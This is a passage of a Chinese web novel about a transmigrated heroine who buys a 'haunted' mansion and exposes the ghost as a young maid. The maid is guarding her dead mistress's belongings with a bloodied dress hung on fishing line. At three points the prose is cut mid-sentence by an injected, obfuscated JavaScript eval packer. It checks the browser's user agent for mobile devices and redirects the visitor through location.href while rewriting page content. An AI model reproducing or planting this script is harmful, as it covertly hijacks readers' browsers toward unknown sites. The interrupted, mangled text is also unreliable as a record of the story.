马车的颠簸将萧谨言的声音摇得磕磕绊绊,却没挡住他的发问:“我看方才那处宅子就挺好,你们为什么非要去那陈府?” “当然是为了省钱。”孟允抒正在脑中模拟演练待会讨价还价的流程,“后续还要置办各种器具,那也是一大笔开销,能省则省。” “钱哪有命重要。”萧谨言苦口婆心地劝着,他觉得自己简直遇见了一群亡命之徒。 在孟允抒不堪其扰时,马车停了下来,她趁此机会赶紧拉着秋盈下车,远离萧谨言。 许昭要上值,萧睿言也要准备赴任之事,只有孟允抒、秋盈和萧谨言前去看宅。前来接引他们的仆人早已在路边恭候多时,将他们迎进陈府,依次带他们视察各个房间的情况。 从临街的房屋出来,走进前院,随着他们深入陈府,周遭的气温似乎越来越冷。 萧谨言搓搓胳膊,悄声问孟允抒:“你有没有觉得这里有股瘆人的寒意?” “你别总是疑神疑鬼。”孟允抒望望四周空荡荡的屋子,打量宅邸布局,“现在府中就我们几个人,且家具器件都被搬空了,自然显得冷清。” 接引人闻声连忙附和道:“夫人说得是,随后待你们把东西搬进来,人再一多,这屋子马上就热闹起来了。走,我们去前面。” 孟允抒随他行至中庭,一棵粗壮高大的槐树兀然闯入她的视线,树冠将庭院上方的空间占据得满满当当,她的甚至有枝叶超出了她的视野范围。 饶是处变不惊的秋盈都发出感叹:“好大的槐树。” 孟允抒打量了一番槐树的树干,估摸着四人合抱有余。 她又将目光上移。今年春季是个暖春,这槐树已经长得枝繁叶茂,有遮天蔽日之势,树枝几乎一直延伸到院墙边。 “怪不得这屋子闹鬼。”萧谨言从震惊中回过神,找到了凶宅的风水依据,“这么大一棵槐树,简直是阴气冲天。” “一种事物是好是坏,还不都是全凭人的一张嘴。”孟允抒觉得这就是典型的心理作用,由果推因很容易受主观因素影响,“那还有句俗话说,‘门前种槐,升官发财’,这不是自相矛盾?” 孟允抒一边听着接引人介绍各个房间的用途,一边要分神和萧谨言辩论,有些应付不过来。 秋盈很默契地替她接过向接引人提问的职责,仔细记下他所说的话。她左右张望一番问道:“东边的那处厢房原本是做什么用的?” 这句话让孟允抒集中注意力,随之看向东厢房。她发现房屋的檐角、圆柱上都附有精巧繁复的装饰,将房间装点得雅致华丽,只是房门紧闭,整间房屋安静地居于墙边,如遗世独立的佳人。 按照萧谨言所讲述的那个陈府怪谈,这应是那名江氏的卧房。 她心生好奇,拜托接引人道:“麻烦你带我们进去看看。” 虽然只是极其短暂的一瞬,孟允抒看到他脸色微变,而后又恢复那副热情的笑颜:“没问题,夫人请随我来。” 房门被推开的同时,上面的灰尘扑簌簌地落下,地面上也扬起阵阵尘埃。孟允抒用手帕掩住口鼻进入,眼前的景象显然是在告诉她,这房间已经很久不曾被打扫过。 她环顾四周,发现这里的大件物品已经不知所踪,应该是已经被其他人搬走或卖出了,只剩下一个小柜子靠在房间一隅。 孟允抒向接引人确认道:“此处可是江姨娘生前所住的房屋?” “是。” 听到肯定回复,萧谨言瞬间面色发白。 接引人见状欲盖弥彰道:“几位不必担心,外面那些流言蜚语都是唬人的。江姨娘并非枉死,只是不小心染上风寒一病不起,因体质娇弱久病未愈,拖得久了导致病情越来越重,最后不治身亡。” 她指着留下的那几件家具问:“为何你们不将这些搬走?” “这些东西都值不了几个钱,为它们再雇脚夫实在不值当。”接引人飞快地搪塞几句,转而催促道,“各位随我去下一间吧。” 他这么急着走,反倒让孟允抒起了疑心。 “且慢。” 孟允抒阻止他的脚步,走到那个柜子前打开柜门。 “啊!” 萧谨言惊呼一声,连忙后退。 孟允抒没被柜子中的物品吓到,却被萧谨言惊得一颤,差点跌坐在地上。 她回头看看用袖子掩面的萧谨言,索性把他拉了过来,奋力按下他的胳膊:“你看清楚了吗就叫,这有什么可怕的?” 萧谨言定睛一看,柜中整齐地摆放着数个木盒,里面放着五花八门的小玩意,有耀眼华贵的金银首饰,也有半新不旧的典籍,还有万花筒、泥偶、鲁班锁等玩具,应是江氏的遗物。 孟允抒回头问那仆人:“这些首饰价格不菲,你们可是将它遗漏在此?” “呦,应该是忘了。”他惊讶道,“近日我们老爷有要事在身,顾不上清点检查这边的物件。” 他的演技相当拙劣,孟允抒一眼就能识破。 “我们老爷吩咐过,今日若在府中发现什么未曾搬走的物件,不必回禀他,直接将它们一并交给夫人便是。”仆人笑容满面地向孟允抒一行人道喜,“几位真是鸿运当头。” “我看是霉运当头。”萧谨言反驳,“你们怎么能把死人用过的东西丢给我们?” “不能这么说。”孟允抒阻止他继续说下去,笑着对仆人说道,“陈老爷慷慨爽利,我十分感激。他的这份好意我收下了。” 仆人见这桩生意做成的可能性极高,眉开眼笑道:“那我们再去下一间看看。” “你怎么敢要江氏的遗物?”萧谨言口不择言,也顾不上那些礼节,义愤填膺地评价孟允抒,“你当真是要钱不要命。” 君子爱财,取之有道。孟允抒虽然精打细算,但也不会接受这种不义之财。 她这样做完全是因为方才脑海中响起的那句话。 【您已触发任务:三日内探明陈府闹鬼疑云,令其摆脱“凶宅”称号。任务完成后可获得60点声望。】 从一开始孟允抒就不相信陈府真的闹鬼,系统发布的任务更是坐实了她的猜测。查找真相需要一个突破口,看接引人的反应,她觉得江姨娘的这些遗物应该与闹鬼传闻密不可分。 不过,现在报社还没有开始运营,自然没有独家印坊印刷小报,等真相大白之后,她要是再去找郭掌柜,他说不定又得坑自己一笔钱。 孟允抒问系统:“如果我没能在限定时间内完成任务,会有什么后果?” 【每超出一天,会倒扣您10点声望值。当声望值为负时,系统会自动与您解绑。】 孟允抒觉得这系统简直是催稿利器。相比之下,她以前所在的报社编辑堪称温柔,至少不会扣她工资。 小不忍则乱大谋,孟允抒认栽地想,等她查明真相,还是去一趟文昌书坊为妙。 整个陈府已经巡察完毕,孟允抒当即决定将此处定为报社地址。 经过萧谨言的一番阻挠,以及和接引人的唇枪舌战之后,孟允抒成功砍下了一百两银子,最终以两千九百两的价格成交。 接引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310341|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一面摇头叹气,一面急不可耐地拿出契纸:“夫人在空白处签字画押即可。” 契纸一式四份,孟允抒签了名,那仆人将其中一张递给孟允抒:“两份分别给您和老爷,另外两份由我们交到官府那边。” 他交代完必须要走的流程和注意事项之后,如释重负般地笑道:“今日这事就算了结了,我在此提前祝各位金玉满堂。” 告别几人后,他转身拔腿就跑,刚才那副从容的模样荡然无存。 孟允抒看着他仓皇逃窜的背影,感觉他像是生怕被江姨娘的冤魂撵上似的。 “事已至此,你发愁也没用。”孟允抒收好契纸,对蹲在墙角的萧谨言说,“你和秋盈先在此处待着,我回府带几个丫鬟小厮来换你,到时候你就可以回去了。” 萧谨言放过眼前那处被他盯得脱落的墙皮,回头问道:“今晚你们值夜?” 孟允抒点头。 这宅邸现在已经交付到他们手里,陈府那边当然是有多远躲多远。孟允抒他们接下来就要开始收拾房屋、置办器具,夜晚总得留几个人在此处看门。 “不成。”萧谨言站起身,目光在孟允抒和秋盈身上游移了几个来回,“今日是我们头一天来许府,哪能直接让你们两个姑娘家守夜。今晚我带人值夜,要是没什么意外情况,明天再换你们来。” 萧谨言的良心居然压倒了他的恐惧。 秋盈对萧谨言了解不深,还不知道他的拧巴:“萧公子,你方才不是还在害怕吗?怎么又说——” “谁怕了?我不怕!”萧谨言打断秋盈的话犟嘴道,他向两人解释:“我到底是男子,阳气重,能镇得住这宅子。” 孟允抒觉得,他这句话的语气听起来更像是自我鼓励。 秋盈见萧谨言方才的表现,有些不放心地提醒他:“可江姨娘是女子,我听闻女鬼更容易缠上男子,萧公子可要当心。” 这原本是一句好心的叮嘱,但在萧谨言听来,秋盈分明是在恐吓他。 “大不了我多带几人便是。”他的声音不自觉地哆嗦起来,“我卧房有柄桃木剑,之前府里有道士来祈福,他们还给我画了几道符咒,我把这些都统统带上,就不信镇不住那冤魂。” 萧谨言的装备相当齐全,但很可惜,它们大概没什么作用。 “你还不如带柄短刀防身。”孟允抒说,“十有八九是有人装神弄鬼,那些对付鬼魂的东西可伤不了人。” 萧谨言疑惑:“你怎么知道?” “陈府闹鬼的结果便是留下一柜的遗物,如果我没有猜错,闹鬼应该与它有关。”孟允抒笑笑,“冤魂的目的多为报仇索命,只有活人才会在意那些身外之物。” 萧谨言思索片刻,认为孟允抒说得在理:“那你为什么不早点说,害得我担心这么久。” 孟允抒理直气壮地回答:“说得早了,我们哪能用不到三千两的价钱买到这么好的宅子?” 萧谨言这才反应过来,她一直在利用自己,故意给接引人制造恐慌情绪,好让她压价。 他咬牙切齿地骂道:“卑鄙小人。” 孟允抒觉得他骂得挺好,这说明她从郭掌柜那学到了点经商之道。 “言归正传。”她对萧谨言交代道,“你赶快回府带人,待会过来换我和秋盈回去。要是今晚有什么异动,等明早我来了之后你告诉我。” 今天是他们来到陈府的第一天,孟允抒也不敢保证那个鬼魂一定会现身;即使她现身了,又会以什么样的方式出现,她也无法确定。在这种情况下,贸然出击很可能会打草惊蛇,不如先让萧谨言打前锋探听情报。 而且,以萧谨言那种一惊一乍的性格和夸张表述,她或许还能从他口中得到一篇《走近科学》的前半段内容。 12. 撞鬼 翌日一早,孟允抒和秋盈乘着马车再次来到陈府。 两人下了车还没来得及进门,便听得里面传来萧谨言的大喊大叫。 “你走路怎么没声音?”他的声音充满恐惧与愤怒,“说话就说话,干什么从后面拍我!” 听见小厮不住地道歉认错,孟允抒推门进去替他解围,屏退了下人对萧谨言笑道:“怎么了,二公子一大早就发这么大的脾气?” “你们终于来了。” 见到孟允抒和秋盈,萧谨言像是见了救命稻草一般,扑过来紧紧攥住她们的衣袖,神情惊惧,瞪着眼睛急速说道:“咱们今天赶紧收拾东西撤吧,别再和这宅子纠缠,回头赶紧把它转手卖了。” 孟允抒看他的反应就知道,他昨晚应该是撞“鬼”了。 她向萧谨言询问详情:“昨夜你可在宅中遇见了什么怪事?” 秋盈将自己的衣袖从他手里抽出,安抚他道:“萧公子,你先冷静,慢慢说。” 萧谨言一屁股跌回椅子上,神色恍惚。他端起桌上的茶盏喝水,因为他的手抖得太厉害,将茶水洒出来不少。 他勉强喝完剩下的半杯茶水,定了定神道:“陈府的闹鬼传言半点不假,我昨晚亲眼见到了那江氏的魂魄,在窗外连声喊冤。” 他深吸一口气,将事情的经过细细道来。 “昨日你们走后,我便按照孟夫人的安排,在前院、中庭、后院的房间中都布下人手,由我把守江氏的卧房。”他幽怨地看了眼孟允抒。 “到了三更左右,在我昏昏欲睡之际,忽然听得窗外隐约传来女子的哭声,与风吹树叶的声音混在一起,听来格外凄凉哀婉,让人心里发毛。这下我也睡不着了,就起身望向窗外。” “原本中庭的三间房中都亮着烛火,我却亲眼见到那两扇窗户里的烛光依次熄灭,院中顿时一片漆黑。” “等等。”孟允抒打断他的话,抓住一个细节问,“那些烛火不是同时熄灭的?” 萧谨言回忆着昨夜的情景,回答道:“不是。两间房中的光亮是分别暗下去的,两者的时间有一定间隔。” 中庭里的三间房屋分布松散,彼此之间都隔着不短的距离,按照正常人的速度,即使从一间跑步奔向另一间,也得花上十几秒。 由此可见,至少在昨晚的中庭当中,作案人员应该只有一个。 孟允抒又问:“昨夜在这两间房中值守的下人怎么说?” “他们说,因为烛火自熄,他们不敢轻举妄动,就在房中静观其变。”萧谨言回答,“我当时也是这样想的,所以凝神盯着窗外的动静,想看看接下来会发生什么。” 孟允抒与秋盈对视一眼,却并未打断萧谨言的话,让他继续说了下去。 “就在我没防备的时候,一个白色身影呼地一下从我窗前飘过,上面还沾有血迹。”他的语气激动起来,“我看得很仔细,普通人根本不可能跑得那么快,而且那罗裙离地半尺,脚不挨地,这不是鬼是什么?” 孟允抒反问:“那你怎么知道她是江氏的冤魂?” “因为这是她自己亲口所说。”萧谨言的声音中满是恐慌,“她说她是这房间的主人,被王夫人设计害死,我待在这扰了她的清净,命我尽快搬出去,否则下场只会比原来陈府中的人更惨。” “我反应过来,赶紧叫大家来抓鬼,可当众人赶到的时候,那鬼魂早都没了踪影。我们在府中上下仔细搜寻,却一无所获。” 说完,他又极力劝说孟允抒与秋盈离开:“这宅子实在太邪乎了,省钱也不是这么个省法,我们还是另寻别处吧。” 孟允抒注意到秋盈在旁边一言不发,蹙着眉头,似乎正在凝神沉思。 她问秋盈:“你对此事有何看法?” “陈府是否真的闹鬼,此事尚无定论。”秋盈显然并不害怕凶宅传闻,话锋一转道,“只是……” 她看看萧公子,又望望孟允抒,似乎是在征询她的意见。 “你想到什么直说便是,我与萧公子都不会见怪。” 萧谨言也点了头,秋盈开口说道:“萧公子该对身边人严加管教。” 孟允抒满意地夸赞道:“姐姐果然敏锐。” 萧谨言不明白这两人在打什么哑谜:“什么意思?” “他们房中烛火自熄,却没有作出半点反应。”秋盈解释,“更何况院中漆黑,危机暗伏,他们为何不尽快赶往公子身边,对你加以保护?” 她的点拨让萧谨言醍醐灌顶:“也就是说,他们当时并不在中庭。” 秋盈默默点头。 “这帮家伙,光拿钱不办事。”萧谨言马上就要起身去找他们理论,孟允抒拦下他说道:“二公子莫急,容我向他们问问详情。” 那两个在中庭值夜的下人很快被传唤过来,忐忑不安地站在孟允抒等人面前。 孟允抒开口问道:“你们可曾见到那江氏的冤魂?” 左边那人连忙回答:“见到了。” 右边的下人则补充道:“白色罗裙,身着血衣,在院中飘忽不定。” 萧谨言在抓鬼时曾向他们描述过鬼魂的特征,这句话不足以成为任何证词。 孟允抒接着问:“那你们有没有听清楚她说了些什么?” “听清楚了。她说她是被王夫人害死的,还说让我们马上搬走。” 孟允抒笑了笑:“你们的房间与萧公子相隔至少五十米远,又有风声干扰,你们二人如何能听清那鬼魂所说的话?” 两个下人支支吾吾地答不上来。 “你们昨晚根本没在中庭。”萧谨言猛一拍桌怒斥道,“说,你们跑哪去了?” 两个下人脸色一白,慌忙向萧谨言讨饶,请他恕罪。 “你们要是如实招来,我兴许还能放过你们。”萧谨言说,“如有半句假话,你们今天下午就给我从萧府出去!” 孟允抒觉得萧谨言素质挺高,都到这个时候了也不会用脏话骂人。 “是,是。” 左边那个仆人坦白道:“昨晚除了您在的东厢房,其余房间都只留一人看守。熬到半夜,我实在觉得无聊,就和他一起去找前院的人聊上一会。” 右边的仆人证实他的话:“我们本想着在一起说说话,清醒一下就回来,没想到刚走就出了这档子事。” 萧谨言又叫来昨晚在前院值守的仆人和他们当面对质,证明其所言属实。 这样看来,烛火自熄之说根本站不住脚。当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310342|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两间房中无人看守,其他人完全有机会进入房中吹灭蜡烛。 从萧谨言提到的女子哭声和说话声也可以推出,装神弄鬼的人很可能是名女性。 而在前后院中值夜的仆人都并未见到鬼魂,她独独在萧谨言看守的东厢房外徘徊,这也从侧面印证了孟允抒最初的猜测,她果真是冲着江氏的遗物来的。 江氏是内宅女子,只有陈府中的人知晓她的住处并清楚她有何遗物。 孟允抒分析着目前掌握的线索,却发现一个疑点。 如果作案人的目的是取得江氏遗物,她是陈府中人,为何不在江氏死后的那段时间内将遗物转移,而偏偏要费尽心机,来叨扰他们这群外人呢? 看来要想搞清楚事情的真相,她必须抓住这个鬼魂亲身调查一番。 孟允抒看看刚发完一通火的萧谨言,对他笑道:“二公子昨夜辛苦了,今日你先回去歇着,留我们在此处监工看门。” 萧谨言愣了愣,不可思议地问道:“我已经亲眼见到那江氏的冤魂,你们居然不搬走,今晚还要待在此处?” “二公子放心,我已有初步推断,兴许今晚我们就能弄清那鬼魂的真面目了。”孟允抒回答,“若是如此,也能为昨夜的怪象作出解释,不至于让其成为二公子的一处心结。” 萧谨言放心不下孟允抒和秋盈两人,但因他昨日白天忙里忙外,晚上又熬了个通宵,加上见鬼之事让他惊惧不已,府中下人也玩忽职守,值得他劳神的事情太多,他实在是心力交瘁。 “也好,那我回府后再重新派些人来帮你们捉鬼。”萧谨言纠结了一会后终于下定决心,反复叮咛道,“要是情况不妙也不要勉强,性命要紧。我们赶紧从宅子里搬出去就是了。” 孟允抒回府用晚膳时,许昭在桌上提起报社之事,问她置办器具的进展可还顺利。 “一切都好。”说到报社,孟允抒眉飞色舞,滔滔不绝地和许昭说了一大堆白天的见闻,包括她和店家斗智斗勇的过程。 等她反应过来的时候,才发现自己太过聒噪,不好意思地对许昭笑笑:“我打扰公子用膳了。” “不,我觉得你说的甚是有趣。”不知是不是因为孟允抒讲得尽是些市井琐事,她发现许昭的表情是前所未有的放松,始终面带笑意。 他想起另一件事:“对了,昨晚萧公子值夜时,他可曾见到什么异动?” “我正要将此事告知于你。” 孟允抒将萧谨言的见闻以及她的推断全部告诉许昭:“我让萧公子回府了,今晚换我和秋盈值夜,待会得带几个下人一起过去。” 许昭将碗筷放在一边:“此事太过危险,我也随你一同前去。” “不行。”孟允抒一口回绝,“你明日一大早还要上朝,今晚若是值夜,明天怎么能撑得下来?” “无妨。”许昭回答,“刑部若是有急案要审,连续熬几个通宵也是常有的事。” 这句话点醒了孟允抒,许昭在刑部任职,或许他能比自己更快地查出真相。 专业的事自然要交给专业的人办。 “好,那便有劳公子了。” “嗯。”许昭略一点头,对她笑道,“姑娘快些吃吧,待会饭菜该凉了。” 13. 走近科学 当晚,孟允抒封锁前后门,将府中下人分别安排在陈府的各处房间内,让大多数人集中在中庭,留一小部分人看守前后院,并再三叮嘱所有人,在没有接到通知的情况下不得擅离职守。 确保万无一失后,她和秋盈、许昭以及另一名小厮待在东厢房内,守株待兔。 刚入夜时孟允抒还精神抖擞,满怀期待地等着捉鬼,但这份激情没能持续太久,就被瞌睡压了下去。 昏暗的烛光,静谧的环境,全是催眠的好手段。 秋盈见她困得东倒西歪,索性劝她睡一觉:“夫人趴在桌上歇息一会吧。” “不,我要亲眼看看那个鬼的模样。”孟允抒撑起沉重的眼皮,摇摇头让自己清醒些。 在她的视线左右晃动之时,她看见坐在她旁边的许昭还在油灯下看书。 孟允抒瞄了一眼书上密密麻麻的小字,感觉好像更困了。 胤朝没有电,没有手机,更没有网络,一个人晚上在家的时候,除了看书和闲聊以外,似乎也没什么其他的消遣方式。 她想起自己以前熬夜玩手机导致视力下降的事,出言提醒许昭:“许公子,这里光线太暗,你别看书了,伤眼睛。” 他要是近视了,可没有哪个人能给他配副眼镜。 孟允抒见屋里三人都面露倦色,决心和他们聊聊天让大家清醒些。 她随口问许昭:“我见公子平日手不释卷,你是自幼便酷爱读书吗?” “不是。”许昭听从孟允抒的劝告合上书,将手轻轻按在封面上,“我儿时性格顽劣,听见读书便头疼,长大些了才知道在念书上用功。” 这是许昭从未展露出的一面,孟允抒来了兴趣,追问他道:“那你小时候喜欢做些什么?” 听到孟允抒的问题,秋盈和那名小厮也坐直了身子,向许昭投来好奇的目光。 没有人不喜欢听八卦。 面对众人的期待,许昭不好拒绝,就讲起了他的童年旧事。 “我幼时住在一个小村庄里,平日经常和一群同龄伙伴到处做坏事,什么偷鸡摸狗、下河摸鱼、爬树掏鸟窝的事都干,惹得村里人嫌狗厌。” 年幼的孩童多半淘气,他们一旦成群结队,杀伤力更是成倍增长。 孟允抒难以想象,眼前这个冷淡沉静的美男子曾经是个人人喊打的熊孩子。 她用揶揄的语气说道:“没看出来公子身手敏捷,居然还会爬树。” “我那时家贫,日夜饿着肚子,只能花心思找些野味充饥。”许昭有些窘迫地笑笑,“凡是出身乡野的孩子,几乎没有哪个不会爬树。” 民以食为天,尤其在蒙昧无知的幼童眼中,吃饱饭并活下去就是他们最重要的目标。 孟允抒想说些什么来安慰她,却蓦地联想起许昭先前曾问她,与他成婚是否会觉得委屈,他对自己的出身应当十分介怀。若是言语不当,她反而会伤了许昭的自尊。 她盯着桌上的油灯与烛火陷入沉思,却发现火光都一齐向右边倾斜,忽明忽暗地抖动起来。 “起风了。” 孟允抒警觉地望向窗外。 晚风丝丝缕缕地从窗外渗进房间,而后风声越来越大,逐渐转为凄厉的尖啸,院中的树叶也被风声吹得沙沙作响,像是为一场好戏的开幕鼓掌喝彩。 当前已过三更,按照萧谨言的描述,那鬼魂也该来了。 果然,院中忽而响起断断续续的哭声,和着夜风呜咽,哭得人毛骨悚然。 孟允抒抬手示意屋内的人先不要动,屏住呼吸望向窗外。 中庭里的另外两间房依然亮着烛火。 一道白色身影倏地从窗前闪过,孟允抒的视线甚至没能跟上她的速度。 一个饱含愤怒的女声在窗前响起:“昨日我已命令你们搬走,为何你们仍旧停留在此,扰我安宁?” 为了看清那道白色身影的样貌,孟允抒走近窗口高声问道:“打扰姑娘清净实在抱歉,请问你是何人?” 白色衣裙再次从窗前飞过:“此间卧房的主人,陈府江氏。” 这次孟允抒发现,正如萧谨言所说,这鬼魂的裙摆离地面还有一截距离,裙底空荡荡的,并无腿脚的痕迹。 “江姨娘多有误会,我们并非有意扰你,只是想还你一个清白。” 孟允抒用眼神暗示许昭和小厮出门捉鬼,她继续在窗前问话,吸引对方的注意力。 “我听闻姨娘是因重病身亡,这背后是否另有隐情?” “重病身亡?”那女子冷笑一声,“真是个好借口。王夫人——” “老爷小心!” 她的话被院中小厮的惊呼声骤然斩断,再无下文。 孟允抒见状连忙拉着秋盈冲出房门:“情况如何?” 许昭在院中转过身来,将手里的东西拿给孟允抒看:“我出门便见这衣衫在窗前飘荡,用手一扯,它就不再动弹了。” 孟允抒接过他手里的白色衣裙,将它展开,发现上面确实沾染着数片血迹,让人看着触目惊心。 她当即吩咐秋盈和小厮继续守在房中,自己和许昭则去其余房间询问情况。 从前后院走访探查了一圈,值守的下人都说他们不曾离开房间半步,但并未见到鬼魂,也没见到形迹可疑的人员出没。 孟允抒回到东厢房,从秋盈口中听到了同样的答案。 “不过我发现了这个。”秋盈拿来方才的那件血衣,把它凑近烛火,“老爷夫人请看。” 孟允抒看向长衫胸口的位置,发现上面系着一截白色的细线,需要仔细看才能发现。 方才院中光线太暗,他们完全没有察觉到它的痕迹。 孟允抒用手捏了捏那根线,相较于常见的用于缝制衣物的丝线,这根线显然更粗、更有韧性。她将衣物递给许昭,许昭捻弄了一下那条白线,又在灯下观察片刻,得出一个结论。 “鱼线。” 这是一条崭新的线索,但孟允抒没办法将其与先前的事情串联成清晰的逻辑。 许昭也没有再做进一步推断,只是从桌上端起烛台说道:“我再去院中看看。” 孟允抒赞同他的做法。要是能在案发现场发现新的证据,或许能事半功倍。 “我也去。” 她拿了盏油灯,和许昭一同走到院中。 “方才我就是在这里抓住了那件血衣。”许昭停下脚步,给孟允抒划出一个大致范围,“我们在此处找找,看是否还有什么可疑痕迹。” 孟允抒用火光映亮地面,认真察看地上的痕迹,试图从中搜寻出蛛丝马迹来。 “孟姑娘,麻烦你把油灯给我。” 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310343|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允抒抬头,却发现许昭站直身子,正仰头望着上空。 她把油灯递给许昭:“你发现什么了?” 许昭没有回应她的问题,只是举起油灯和烛台,将上方的空间照得更亮了些:“姑娘请看。” 借着微弱的光线,孟允抒勉强看清了那处景物的轮廓。她已经明白答案了。 在他们头顶上方,靠近东厢房的位置,槐树的枝条纵横交错。 孟允抒打量了一下这里的枝叶,它们都位于枝条末端,较为纤细,承不住什么重量。她将目光沿着枝条向庭院中心移动,随着枝条离树干越来越近,它的形态也愈发粗壮,完全能够承担一个普通女子的重量。 如果她趴在树上,寻个长竿之类的东西,将鱼线一头绑在竿上,一头系在衣服上,从树上垂下来左右摇动,便能制造出鬼魂四处游荡的景象。 当下唯一的问题是,作案人在哪。 答案显而易见。 入夜后孟允抒就关闭了前后大门,并派了专人把守,陈府中也没有密道、暗门之类的机关,作案人若非武功高强不走寻常路,她就一定还在府中。而在鬼魂出现的前后时间段里,宅子里没有一个人见到院中有人出现,那范围自然就缩小到眼前的这棵大槐树上。 许昭显然也已经得出结论,神情严肃地走向树底。 孟允抒不清楚作案人的具体情况,为以防万一,决定先诈她一下。 她刻意提高了嗓门喊道:“许公子,这么高的树,你能爬上去吗?” 许昭停住脚步,疑惑地看向她:“我没想爬树。直接把她叫下来不就行了?” 真是毫无默契的回答。 孟允抒啼笑皆非,压低声音说道:“你现在没穿公服,也没有逮捕令,她能乖乖听话吗?” 许昭露出一副恍然大悟的表情,赶忙顺着孟允抒的话说下去,大声回答道:“当然没问题,比这再高十米的树我也不在话下。” 好浮夸好做作的演技。 树冠上并未传来孟允抒预料中的动静,她心想,这姑娘还挺沉得住气。 她继续说道:“那就有劳公子帮我找找,我的手帕是不是被风刮到树上去了。” 许昭走到槐树底下,双手环抱树木,脚一蹬地就窜了上去。 孟允抒懵了。 她没把作案人诈下来,反倒把许昭诓上去了。 “你干什么?”她赶紧挥手让许昭下来,“危险。” 许昭不解:“不是你让爬的吗?” “我——”孟允抒这才反应过来,许昭曲解了她的意思。 她只能将计就计,冲着树顶冷声喊道:“那位不知姓名的姑娘,我知道你在树上。要是你愿意主动下来,我们还可以好好谈谈。” 她给许昭使了个眼色:“还是说,你需要我们亲自请你下来?” 许昭又往上爬了几米,树上终于响起一道惊慌失措的女声:“你们别上来,我、我马上下去。” 许昭从树上退下,孟允抒帮他拍了一阵身上的尘土,一个娇小的身影也轻巧地跳到地面上。 “实在抱歉,我并非有意要吓唬各位大人。” 面前这个女孩看起来只有十三四岁,虽然她正在低头认错,但孟允抒并没有从中听出怯懦的情绪。 “你随我到房里来,与我细说缘由。” 14. 她的名字 孟允抒和许昭进了厢房,在桌边的椅子坐下,那小姑娘站在两人面前,用询问的目光看了看他们身后的秋盈。 秋盈会意地上前介绍:“这位是许老爷,这是孟夫人。” 接着那姑娘便“扑通”一声跪在地上,磕了几个响头:“我绝非故意装神弄鬼,请老爷夫人恕罪。” 孟允抒经不住这样的大礼,差点条件反射地从椅子上蹦起来。 她赶紧说道:“你不用跪我,起来说话。” 女孩站起身来,微微弓起身子,作出俯首认错的模样。 孟允抒习惯通过对方的神态和表情判断其心理活动,于是开口说道:“你把头抬起来,看着我。” 小姑娘按她的命令照做,将面容全部呈现在孟允抒眼前。 这女孩生着一对灵秀的杏眼,在烛火的映照下流光溢彩,微抿的嘴角中莫名显露出狡黠的气息,打眼一看就是个伶俐的姑娘。 孟允抒先从最简单的问题说起:“你叫什么名字,今年几岁了?” “回夫人的话,我叫排云,今年十三。” 孟允抒从她的名字中得出一个结论:“你是陈府中的丫鬟?” 排云点头:“是。” “你为何要装神弄鬼吓唬我们,屡次想把我们赶走?” 孟允抒见排云飞快地瞟了她一眼,直觉告诉她排云接下来所说的话不可信。 她看了看身边的许昭,决定发动狐假虎威的技能。 “这位是刑部郎中许大人,若你有半句假话,我们就会把你抓起来交给官府,定你一个居心叵测,谋财害命的罪名。” 许昭见状,也十分配合地装腔作势,神情威严地点点头。 孟允抒在心里给许昭点了个赞,他的演技真是突飞猛进。 排云没想到许昭是这般来头,赶忙给孟允抒回话:“我说,我说。” 她踌躇片刻又问:“若我如实回答,请问老爷夫人能否保我性命?” “若你并非作奸犯科之徒,我们定然不会加罪于你。” 得到许昭的保证,排云心里似乎有了底,老实回答道:“我只是不想让你们待在江姨娘的房间里,不愿让你们动她的遗物。” 孟允抒有了一个猜测:“你是侍奉江氏的丫鬟?” “对。” “那陈府中闹鬼的事,全是你一手策划?” “是。”排云的声音激动起来,“但我敢发誓,我从未害过他们性命,老爷和下人的死与我无关。” 孟允抒逮住这个关键点问道:“那你说说,陈老爷和府中下人的死因是什么?” “陈老爷是个好色之徒,整日在外寻欢作乐,一早就得了花柳病,他死有余辜。”排云愤慨地骂道,“至于那些下人,则是因为分赃不均互相陷害,导致几人没了性命。” 孟允抒觉得这样东一榔头西一棒追的问答太过混乱,索性让她从头讲起:“你把事情的来龙去脉讲一遍,从你侍奉江氏开始,到你口中所说的她被王夫人设计害死,再到后面你装鬼的事,一一向我们道来。” 排云点头应允。 “江姨娘原本是个小户人家的小姐,她母亲早逝,后来父亲去世家道中落,她继母决定趁早将她嫁给别人,好捞一笔巨额彩礼。陈老爷从旁人那得知此事,因为垂涎江姨娘的美貌和才情,不惜花高价将她迎娶进门。” 排云的声音非常低落。 